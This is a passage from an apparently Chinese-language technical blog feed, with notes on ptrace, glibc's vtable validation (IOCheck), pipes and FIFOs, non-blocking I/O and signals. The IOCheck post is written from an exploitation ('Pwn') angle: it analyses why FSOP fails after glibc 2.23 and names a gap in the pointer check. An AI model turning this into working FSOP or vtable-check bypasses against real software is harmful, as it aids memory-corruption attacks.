class="hljs-type">unsigned</span> <span class="hljs-type">long</span> es;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> fs;<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">long</span> gs;<br>};<br><br></code></pre></td></tr></table></figure><p>tracer(追踪者)指的是正在执行追踪的进程,即调用 ptrace 的进程,tracee/ the traced(被追踪进程)指的是正在被 tracer(即 ptrace)追踪的程序。</p><p>ptrace 默认会覆盖 mmapa 或 mprotect 的权限,也就意味着用户可 以使用 ptrace 往 text 段中写入内容,即便text段是只读的。但如 果内核采用 pax 或者 grsec 进行了 mprtotect 的限制,加固了段的访问权限,就不可以使用 ptrace 进行修改了。这是一个安全特性。</p>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>IOCheck</title>
<link href="/2024/05/31/Pwn/IO/IOCheck/"/>
<url>/2024/05/31/Pwn/IO/IOCheck/</url>
<content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>本文意在剖析glibc 2.23之后的对 IO_FILE_plus 的 vtable的检查,导致2.23的FSOP失效</p><p>本文的源码来自glibc 2.27</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span><br>_IO_flush_all_lockp (<span class="hljs-type">int</span> do_lock)<br>{<br> <span class="hljs-type">int</span> result = <span class="hljs-number">0</span>;<br> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_FILE</span> *<span class="hljs-title">fp</span>;</span><br><br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> _IO_MTSAFE_IO</span><br> _IO_cleanup_region_start_noarg (flush_cleanup);<br> _IO_lock_lock (list_all_lock);<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br><br> <span class="hljs-keyword">for</span> (fp = (_IO_FILE *) _IO_list_all; fp != <span class="hljs-literal">NULL</span>; fp = fp->_chain)<br> {<br> run_fp = fp;<br> <span class="hljs-keyword">if</span> (do_lock)<br>_IO_flockfile (fp);<br><br> <span class="hljs-keyword">if</span> (((fp->_mode <= <span class="hljs-number">0</span> && fp->_IO_write_ptr > fp->_IO_write_base)<br> || (_IO_vtable_offset (fp) == <span class="hljs-number">0</span><br> && fp->_mode > <span class="hljs-number">0</span> && (fp->_wide_data->_IO_write_ptr<br> > fp->_wide_data->_IO_write_base))<br> )<br> && _IO_OVERFLOW (fp, EOF) == EOF)<br>result = EOF;<br><br> <span class="hljs-keyword">if</span> (do_lock)<br>_IO_funlockfile (fp);<br> run_fp = <span class="hljs-literal">NULL</span>;<br> }<br><br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> _IO_MTSAFE_IO</span><br> _IO_lock_unlock (list_all_lock);<br> _IO_cleanup_region_end (<span class="hljs-number">0</span>);<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br><br> <span class="hljs-keyword">return</span> result;<br>}<br></code></pre></td></tr></table></figure><p>和2.23没啥区别,使用for代替while</p><p>_IO_JUMPS_FUNC存在改变</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">if</span> _IO_JUMPS_OFFSET</span><br><span class="hljs-meta"># <span class="hljs-keyword">define</span> _IO_JUMPS_FUNC(THIS) \</span><br><span class="hljs-meta"> (IO_validate_vtable \</span><br><span class="hljs-meta"> (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)\</span><br><span class="hljs-meta"> + (THIS)->_vtable_offset)))</span><br><span class="hljs-meta"># <span class="hljs-keyword">define</span> _IO_vtable_offset(THIS) (THIS)->_vtable_offset</span><br><span class="hljs-meta">#<span class="hljs-keyword">else</span></span><br><span class="hljs-meta"># <span class="hljs-keyword">define</span> _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))</span><br><span class="hljs-meta"># <span class="hljs-keyword">define</span> _IO_vtable_offset(THIS) 0</span><br></code></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//static inline </span><br><span class="hljs-type">const</span> <span class="hljs-keyword">struct</span> _IO_jump_t *<br><span class="hljs-title function_">IO_validate_vtable</span> <span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-keyword">struct</span> _IO_jump_t *vtable)</span><br>{<br> <span class="hljs-comment">/* Fast path: The vtable pointer is within the __libc_IO_vtables</span><br><span class="hljs-comment"> section. */</span><br> <span class="hljs-type">uintptr_t</span> section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;<br> <span class="hljs-type">const</span> <span class="hljs-type">char</span> *ptr = (<span class="hljs-type">const</span> <span class="hljs-type">char</span> *) vtable;<br> <span class="hljs-type">uintptr_t</span> offset = ptr - __start___libc_IO_vtables;<br> <span class="hljs-keyword">if</span> (__glibc_unlikely (offset >= section_length))<br> <span class="hljs-comment">/* The vtable pointer is not in the expected section. Use the</span><br><span class="hljs-comment"> slow path, which will terminate the process if necessary. */</span><br> _IO_vtable_check ();<br> <span class="hljs-keyword">return</span> vtable;<br>}<br><br></code></pre></td></tr></table></figure><p>检查传入的vtable是否在_IO_vtable 段中 (什么是_IO_vtable段?)</p><p>IO_vtable 包含了众多_IO_jump_t 的表</p><p><img src="/2024/05/31/Pwn/IO/IOCheck/image-20240603152117232.png" alt="image-20240603152117232"></p><p>计算长度为0xD68</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> COMPILE_WPRINTF</span><br><span class="hljs-type">static</span> <span class="hljs-type">const</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_jump_t</span> _<span class="hljs-title">IO_helper_jumps</span> <span class="hljs-title">libio_vtable</span> =</span><br>{<br> JUMP_INIT_DUMMY,<br> JUMP_INIT (finish, _IO_wdefault_finish),<br> JUMP_INIT (overflow, _IO_helper_overflow),<br> JUMP_INIT (underflow, _IO_default_underflow),<br> JUMP_INIT (uflow, _IO_default_uflow),<br> JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),<br> JUMP_INIT (xsputn, _IO_wdefault_xsputn),<br> JUMP_INIT (xsgetn, _IO_wdefault_xsgetn),<br> JUMP_INIT (seekoff, _IO_default_seekoff),<br> JUMP_INIT (seekpos, _IO_default_seekpos),<br> JUMP_INIT (setbuf, _IO_default_setbuf),<br> JUMP_INIT (sync, _IO_default_sync),<br> JUMP_INIT (doallocate, _IO_wdefault_doallocate),<br> JUMP_INIT (read, _IO_default_read),<br> JUMP_INIT (write, _IO_default_write),<br> JUMP_INIT (seek, _IO_default_seek),<br> JUMP_INIT (close, _IO_default_close),<br> JUMP_INIT (stat, _IO_default_stat)<br>};<br><span class="hljs-meta">#<span class="hljs-keyword">else</span></span><br><span class="hljs-type">static</span> <span class="hljs-type">const</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_jump_t</span> _<span class="hljs-title">IO_helper_jumps</span> <span class="hljs-title">libio_vtable</span> =</span><br>{<br> JUMP_INIT_DUMMY,<br> JUMP_INIT (finish, _IO_default_finish),<br> JUMP_INIT (overflow, _IO_helper_overflow),<br> JUMP_INIT (underflow, _IO_default_underflow),<br> JUMP_INIT (uflow, _IO_default_uflow),<br> JUMP_INIT (pbackfail, _IO_default_pbackfail),<br> JUMP_INIT (xsputn, _IO_default_xsputn),<br> JUMP_INIT (xsgetn, _IO_default_xsgetn),<br> JUMP_INIT (seekoff, _IO_default_seekoff),<br> JUMP_INIT (seekpos, _IO_default_seekpos),<br> JUMP_INIT (setbuf, _IO_default_setbuf),<br> JUMP_INIT (sync, _IO_default_sync),<br> JUMP_INIT (doallocate, _IO_default_doallocate),<br> JUMP_INIT (read, _IO_default_read),<br> JUMP_INIT (write, _IO_default_write),<br> JUMP_INIT (seek, _IO_default_seek),<br> JUMP_INIT (close, _IO_default_close),<br> JUMP_INIT (stat, _IO_default_stat)<br>};<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br><br></code></pre></td></tr></table></figure><p>_IO_helper_jumps 只是众多表的一个,检查主要是判断你的虚表指针是否在这个段之中</p><p>缺陷,检查不完善,应该确保虚表指针指向的表,整体都在段中</p><p>检查不通过则调用_IO_vtable_check</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">void</span> attribute_hidden<br>_IO_vtable_check (<span class="hljs-type">void</span>)<br>{<br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> SHARED</span><br> <span class="hljs-comment">/* Honor the compatibility flag. */</span><br> <span class="hljs-type">void</span> (*flag) (<span class="hljs-type">void</span>) = atomic_load_relaxed (&IO_accept_foreign_vtables);<br><span class="hljs-meta">#<span class="hljs-keyword">ifdef</span> PTR_DEMANGLE</span><br> PTR_DEMANGLE (flag);<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br> <span class="hljs-keyword">if</span> (flag == &_IO_vtable_check)<br> <span class="hljs-keyword">return</span>;<br><br> <span class="hljs-comment">/* In case this libc copy is in a non-default namespace, we always</span><br><span class="hljs-comment"> need to accept foreign vtables because there is always a</span><br><span class="hljs-comment"> possibility that FILE * objects are passed across the linking</span><br><span class="hljs-comment"> boundary. */</span><br> {<br> Dl_info di;<br> <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">link_map</span> *<span class="hljs-title">l</span>;</span><br> <span class="hljs-keyword">if</span> (!rtld_active ()<br> || (_dl_addr (_IO_vtable_check, &di, &l, <span class="hljs-literal">NULL</span>) != <span class="hljs-number">0</span><br> && l->l_ns != LM_ID_BASE))<br> <span class="hljs-keyword">return</span>;<br> }<br><br><span class="hljs-meta">#<span class="hljs-keyword">else</span> <span class="hljs-comment">/* !SHARED */</span></span><br> <span class="hljs-comment">/* We cannot perform vtable validation in the static dlopen case</span><br><span class="hljs-comment"> because FILE * handles might be passed back and forth across the</span><br><span class="hljs-comment"> boundary. Therefore, we disable checking in this case. */</span><br> <span class="hljs-keyword">if</span> (__dlopen != <span class="hljs-literal">NULL</span>)<br> <span class="hljs-keyword">return</span>;<br><span class="hljs-meta">#<span class="hljs-keyword">endif</span></span><br><br> __libc_fatal (<span class="hljs-string">"Fatal error: glibc detected an invalid stdio handle\n"</span>);<br>}<br><br></code></pre></td></tr></table></figure><p>主要目的是在某些特定情况下,确保当前库能够接受外部提供的虚函数表,以确保在跨链接边界传递<code>FILE *</code>对象时的兼容性。此函数工作原理未知(link_map结构)</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>check主要是_IO_JUMPS_FUNC多了一层检查,检查虚表指针是否合法,包括</p>]]></content>
<categories>
<category>Pwn</category>
<category>IO</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>进程通信</title>
<link href="/2024/05/30/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/"/>
<url>/2024/05/30/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/</url>
<content type="html"><![CDATA[<h1 id="简述"><a href="#简述" class="headerlink" title="简述"></a>简述</h1><p>我们之前学习的进程之间交换信息的方法只有fork或者exec传递打开文件,本章将说明进程通信的其他技术IPC(InterProcess Communication)</p><p><img src="/2024/05/30/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/image-20240530102004151.png" alt="image-20240530102004151"></p><h1 id="管道"><a href="#管道" class="headerlink" title="管道"></a>管道</h1><p>(1) 它们是半双工的。数据只能在一个方向上流动。</p><p>(2) 它们只能在具有公共祖先的进程之间使用。通常,一个管道由一个进程创建调用fork,此后父、子进程之间就可应用该管道。</p><p>管道是内核提供的</p><p>我们将会看到流管道没有第一种限制,FIFO和命名流管道则没有第二种限制。尽管有这两种限制,半双工管道仍是最常用的 IPC 形式。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">pipe</span><span class="hljs-params">(<span class="hljs-type">int</span> filedes[<span class="hljs-number">2</span>])</span>;<br></code></pre></td></tr></table></figure><p><code>pipe</code>函数创建一个管道,并通过参数<code>filedes</code>返回两个文件描述符。</p><p><code>filedes</code>是一个包含两个元素的数组:</p><ul><li><code>filedes[0]</code>:为读操作而打开的文件描述符。</li><li><code>filedes[1]</code>:为写操作而打开的文件描述符。</li></ul><p>pipe本质只是创建了一个管道,并返回管道的两个头</p><p><img src="/2024/05/30/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/image-20240530103917957.png" alt="image-20240530103917957"></p><p>一个管道只有一个数据流向</p><p>由于fork会复制父进程的文件描述符到子进程,所以可以通过创建两个管道实现父子进程通信</p><p><img src="/2024/05/30/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/image-20240530110345932.png" alt="image-20240530110345932"></p><p>开始时,父子都有两个管道的两个端</p><p><img src="/2024/05/30/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/image-20240530110709253-17170384303161.png" alt="image-20240530110709253"></p><p>双方各自关闭一个写一个读,即可完成父子进程通信</p><p>其实就是利用管道是在内核中,和fork复制文件描述符来实现的</p><p>当管道的一端被关闭后,以下规则生效:</p><ol><li>当读取一个已被关闭写端的管道时,当所有数据都被读取后,<code>read</code> 函数会返回0,表示已经到达文件结束处。需要注意的是,即使管道的写端还有进程存在,也不会触发文件结束。在技术上,可以复制一个管道的描述符,使得有多个进程具有写打开文件描述符。但是,通常一个管道只有一个读进程和一个写进程。在下一节我们介绍FIFO时,会看到一个单一的FIFO通常有多个写进程。</li><li>如果向一个已被关闭读端的管道写入数据,则会产生信号 <code>SIGPIPE</code>。如果忽略该信号或者捕获该信号并从信号处理程序返回,则 <code>write</code> 函数会返回出错,并将 <code>errno</code> 设置为 <code>EPIPE</code>。</li></ol><p>常数PIPE_BUF规定了内核中管道缓存器的大小</p><h1 id="popen和pclose函数"><a href="#popen和pclose函数" class="headerlink" title="popen和pclose函数"></a>popen和pclose函数</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs c">FILE *<span class="hljs-title function_">popen</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *cmdstring, <span class="hljs-type">const</span> <span class="hljs-type">char</span> *type)</span><br><span class="hljs-type">int</span> <span class="hljs-title function_">pclose</span><span class="hljs-params">(FILE *fp)</span> <br></code></pre></td></tr></table></figure><p>这两个函数实现的操作是:创建 一个管道,fork一个子进程,关闭管道的不使用端,exec一个shell以执行命令,等待命令终止。</p><p><strong>popen</strong>:</p><ul><li><code>popen</code> 函数用于执行一个 shell 命令,并通过管道连接到该命令的标准输入或标准输出。</li><li>它接受两个参数:<code>cmdstring</code> 是要执行的 shell 命令,<code>type</code> 是一个字符串,指示连接到命令的方向。<code>type</code> 的值可以是 “r” 表示连接到命令的标准输出,也可以是 “w” 表示连接到命令的标准输入。</li><li><code>popen</code> 返回一个指向标准I/O流的指针,可以使用这个指针来读取或写入与命令相关联的标准输入或标准输出。</li></ul><p><strong>pclose</strong>:</p><ul><li><code>pclose</code> 函数用于关闭由 <code>popen</code> 打开的管道,并等待命令执行完毕。</li><li>它接受一个 <code>FILE*</code> 参数,即由 <code>popen</code> 返回的指针,用于标识要关闭的流。</li><li>调用 <code>pclose</code> 会关闭流并等待与命令相关联的进程终止,然后返回命令的终止状态。</li></ul><p><img src="/2024/05/30/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/image-20240530112518956.png" alt="image-20240530112518956"></p><h1 id="FIFO"><a href="#FIFO" class="headerlink" title="FIFO"></a>FIFO</h1><p>FIFO有时被称为<strong>命名管道</strong>。管道只能由相关进程使用,它们共同的祖先进程创建了管道。 但是,通过FIFO,<strong>不相关的进程</strong>也能交换数据。</p><p>FIFO是一种文件类型,创建FIFO类似于创建文件</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> <span class="hljs-title function_">mkfifo</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> * pathname, <span class="hljs-type">mode_t</span> mode)</span><span class="hljs-comment">//成功返回0 出错-1</span><br></code></pre></td></tr></table></figure><p>pathname是FIFO路径名 mode参数说明与open函数相同(文件的权限)</p><p>创建后,可以用文件IO函数对其进行操作</p><p>FIFO 有两种用途:</p><ol><li>FIFO 由 shell 命令使用,以便将数据从一条管道线传送到另一条,为此无需创建中间临时文件。</li><li>FIFO 用于客户机-服务器应用程序中,以在客户机和服务器之间传递数据。</li></ol><h1 id="消息队列"><a href="#消息队列" class="headerlink" title="消息队列"></a>消息队列</h1>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>高级IO</title>
<link href="/2024/05/30/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E9%AB%98%E7%BA%A7IO/"/>
<url>/2024/05/30/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E9%AB%98%E7%BA%A7IO/</url>
<content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>本章内容包括以下几个方面:</p><ol><li><strong>非阻塞 I/O</strong></li><li><strong>记录锁</strong></li><li><strong>系统 V 流机制</strong></li><li><strong>I/O 多路转接(select 和 poll 函数)</strong></li><li><strong>readv 和 writev 函数</strong></li><li><strong>存储映射 I/O(mmap)</strong></li></ol><p>第14章和第15章中的进程间通信,以及以后各章中的很多实例,都要使用本章所述的概念和函数。</p><h1 id="非阻塞I-O"><a href="#非阻塞I-O" class="headerlink" title="非阻塞I / O"></a>非阻塞I / O</h1><h2 id="系统调用分类"><a href="#系统调用分类" class="headerlink" title="系统调用分类"></a>系统调用分类</h2><p>系统调用分成两类:低速系统调用和其他。低速系统调用是可能会使进程永远阻塞的一类系统调用:</p><ul><li>如果数据并不存在,则读文件可能会使调用者永远阻塞(例如读管道,终端设备和网络设备)。</li><li>如果数据不能立即被接受,则写这些同样的文件也会使调用者永远阻塞。</li><li>在某些条件发生之前,打开文件会被阻塞(例如打开一个终端设备可能需等到与之连接的调制解调器应答;又例如若以只写方式打开 FIFO,那么在没有其他进程已用读方式打开该 FIFO 时也要等待)。</li><li>对已经加上强制性记录锁的文件进行读、写。</li><li>某些 ioctl 操作。</li><li>某些进程间通信函数(见第14章)。</li></ul><p>虽然读、写磁盘文件会使调用在短暂时间内阻塞,但并不能将它们视为“低速”。</p><h2 id="非阻塞-I-O"><a href="#非阻塞-I-O" class="headerlink" title="非阻塞 I/O"></a>非阻塞 I/O</h2><p>非阻塞 I/O 使我们可以调用不会永远阻塞的 I/O 操作,例如 open、read 和 write。如果这种操作不能完成,则立即出错返回,表示该操作如继续执行将继续阻塞下去。</p><p>对于一个给定的描述符,有两种方法对其指定非阻塞 I/O:</p><ol><li>如果是调用 open 以获得该描述符,则可指定 O_NONBLOCK 标志(见第3.3节)。</li><li>对于已经打开的一个描述符,则可调用 fcntl 打开 O_NONBLOCK 文件状态标志(见第3.13节)。</li></ol><h1 id="记录锁"><a href="#记录锁" class="headerlink" title="记录锁"></a>记录锁</h1><p>当两个人同时编辑一个文件时,其后果将如何呢?在很多 UNIX 系统中,该文件的最后状态取决于写该文件的最后一个进程。但是对于有些应用程序,例如数据库,有时进程需要确保它正在单独写一个文件。为了向进程提供这种功能,较新的 UNIX 系统提供了记录锁机制。</p><p>记录锁(record locking)的功能是:一个进程正在读或修改文件的某个部分时,可以阻止其他进程修改同一文件区。对于 UNIX,“记录”这个定语也是误用,因为 UNIX 内核根本没有使用文件记录这种概念。一个更适合的术语可能是“区域锁”,因为它锁定的只是文件的一个区域(也可能是整个文件)。</p>]]></content>
<categories>
<category>Linux</category>
</categories>
<tags>
<tag>Linux</tag>
</tags>
</entry>
<entry>
<title>信号</title>
<link href="/2024/05/29/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E4%BF%A1%E5%8F%B7/"/>
<url>/2024/05/29/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E4%BF%A1%E5%8F%B7/</url>
<content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>信号是软件中断,本章先对信号机制进行综述,并说明每种信号的一般用法。然后分析早期实现的问题。在 分析存在的问题之后再说明解决这些问题的方法,这样有助于加深对改进机制的理解。本章也包含了很多并非100%正确的实例,这样做的目的是为了对其不足之处进行讨论。</p><h1 id="信号概念"><a href="#信号概念" class="headerlink" title="信号概念"></a>信号概念</h1><p>每个信号都有名字,以SIG开头,在<signal.h>中,信号都被定义为正整数</p><p>很多条件可以产生一个信号:</p><ul><li>当用户按某些终端键时,产生信号。在终端上按 DELETE 键通常产生中断信号(SIGINT)。这是停止一个已失去控制程序的方法。(第11章将说明此信号可被映射为终端上的任一字符。)</li><li>硬件异常产生信号:除数为0、无效的存储访问等等。这些条件通常由硬件检测到,并将其通知内核。然后内核为该条件发生时正在运行的进程产生适当的信号。例如,对执行一个无效存储访问的进程产生一个SIGSEGV。</li><li>进程用kill(2)函数可将信号发送给另一个进程或进程组。自然,有些限制:接收信号进程和发送信号进程的所有者必须相同,或发送信号进程的所有者必须是超级用户。</li><li>用户可用kill(1)命令将信号发送给其他进程。此程序是kill函数的界面。常用此命令终止一个失控的后台进程。</li><li>当检测到某种软件条件已经发生,并将其通知有关进程时也产生信号。这里并不是指硬件产生条件(如被0除),而是软件条件。例如SIGURG(在网络连接上传来非规定波特率的数据)、SIGPIPE(在管道的读进程已终止后一个进程写此管道),以及SIGALRM(进程所设置的闹钟时间已经超时)。</li></ul><p>信号是异步事件的经典实例。产生信号的事件对进程而言是随机出现的。进程不能只是测试一个变量(例如errno)来判别是否发生了一个信号,而是必须告诉<strong>内核</strong>:“在此信号发生时,请执行下列操作”。 因此,进程对于信号的处理不能是主动的,而是被动的,所以进程应该告诉内核,自己接受信号时作出什么动作</p><p>可以要求系统在某个信号出现时按照下列三种方式中的一种进行操作:</p><ol><li>忽略此信号:大多数信号都可使用这种方式进行处理,但有两种信号却决不能被忽略。它们是:SIGKILL 和 SIGSTOP。这两种信号不能被忽略的原因是:它们向超级用户提供一种使进程终止或停止的可靠方法。另外,如果忽略某些由硬件异常产生的信号(例如非法存储访问或除以0),则进程的行为是未定义的。</li><li>捕捉信号:为了做到这一点要通知内核在某种信号发生时,调用一个用户函数。在用户函数中,可执行用户希望对这种事件进行的处理。例如,若编写一个命令解释器,当用户用键盘产生中断信号时,很可能希望返回到程序的主循环,终止系统正在为该用户执行的命令。如果捕捉到SIGCHLD信号,则表示子进程已经终止,所以此信号的捕捉函数可以调用waitpid以取得该子进程的进程ID以及它的终止状态。又例如,如果进程创建了临时文件,那么可能要为SIGTERM信号编写一个信号捕捉函数以清除临时文件(kill命令传送的系统默认信号是终止信号)。</li><li>执行系统默认动作:表 10-1 给出了对每一种信号的系统默认动作。注意,对大多数信号的系统默认动作是终止该进程。</li></ol><p><img src="/2024/05/29/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E4%BF%A1%E5%8F%B7/image-20240529152648165.png" alt="image-20240529152648165"></p><p><img src="/2024/05/29/Linux%E8%BF%9B%E7%A8%8B%E9%80%9A%E4%BF%A1/%E4%BF%A1%E5%8F%B7/image-20240529152955798.png" alt="image-20240529152955798"></p><p>在系统默认动作列,“终止w/core”表示在进程当前工作目录的core文件中复制了该进程的存储图像(该文件名为core,由此可以看出这种功能很久之前就是UNIX功能的一部分)。大多数UNIX调试程序都使用core文件以检查进程在终止时的状态。</p><h1 id="signal函数"><a href="#signal函数" class="headerlink" title="signal函数"></a>signal函数</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">void</span> (*signal(<span class="hljs-type">int</span> signo, <span class="hljs-type">void</span> (*fun)(<span class="hljs-type">int</span>)))(<span class="hljs-type">int</span>);<br></code></pre></td></tr></table></figure><p>func的值是:</p><p>(a)常数SIG_IGN</p><p>(b)常数SIG_DFL<br>(c)当接到此信号后要调用的函数的地址。</p><p>如果指定SIG_IGN,则向内核表示忽略此信号。(记住有两个信号SIGKILL和SIGSTOP不能忽略。)如果指定SIG_DFL,则表示接到此信号后的动作是系统默认动作(见表10-1中的最后1列)</p><p>当指定函数地址时,我们称此为捕捉此信号。我 们称此函数为信号处理程序(signal handler)或信号捕捉函数(signal-catching function)。</p><p>调用signal函数来设置一个信号的处理程序时,它会返回一个指向之前与该信号相关联的处理程序的指针。</p><h2 id="程序起动"><a href="#程序起动" class="headerlink" title="程序起动"></a>程序起动</h2><p>执行程序时,所有信号的状态都是系统默认或忽略。比较特殊的是,exec函数将原先设置为要捕捉的信号都更改为默认动作,其他信号的状态则不变(一个进程原先要捕捉的信号,当其执行一个新程序后, 就自然地不能再捕捉了,因为信号捕捉函数的地址很可能在所执行的新程序文件中已无意义)。</p><h2 id="进程创建"><a href="#进程创建" class="headerlink" title="进程创建"></a>进程创建</h2><p>当一个进程调用fork时,其子进程继承父进程的信号处理方式。因为子进程在开始时复制 了父进程存储图像,所以信号捕捉函数的地址在子进程中是有意义的。(因为fork几乎等同于完全复制)</p><h1 id="中断的系统调用"><a href="#中断的系统调用" class="headerlink" 